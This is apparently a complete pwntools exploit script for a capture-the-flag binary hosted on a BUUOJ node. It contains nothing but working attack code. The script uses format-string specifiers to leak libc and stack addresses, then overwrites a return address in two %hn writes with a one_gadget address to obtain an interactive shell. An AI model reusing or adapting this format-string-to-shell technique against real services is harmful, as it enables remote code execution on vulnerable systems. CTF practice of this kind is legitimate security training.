1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * from pwn import p8,p16,p32,p64,u32,u64 context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e'] local_file = '/home/feichai/ctf_file/pwn' elf=ELF(local_file) local_libc = elf.libc.path libc=ELF(local_libc, checksec = False)
def start(): if args.GDB: gdbscript = ''' b *$rebase(0x001234) ''' io = process(local_file) gdb.attach(io, gdbscript) elif args.PROCESS: io = process(local_file) else: io = remote("node5.buuoj.cn",27808) return io
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
def get_leak(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def exp():
sa(b'keyword',b'%9$p%11$p') ru(b'0x') libc_base = int(r(12),16) - 240 - libc.symbols['__libc_start_main'] lg('libc_base',libc_base)
ru(b'0x') stack = int(r(12),16) - 0xe0 lg('stack',stack)
og = [0x4527a,0xf03a4,0xf1247] og = og[2] + libc_base
ret = stack & 0xffff pd = b'%' + str(ret).encode()+ b'c%11$hn\x00' sa(b'keyword',pd)
ret = og & 0xffff pd = b'%' + str(ret).encode()+ b'c%37$hn\x00' sa(b'keyword',pd)
ret = stack & 0xffff pd = b'%' + str(ret+2).encode()+ b'c%11$hn\x00' sa(b'keyword',pd)
ret = (og>>16) & 0xffff pd = b'%' + str(ret).encode()+ b'c%37$hn\x00' sa(b'keyword',pd) io.interactive()
if __name__=='__main__': exp()
|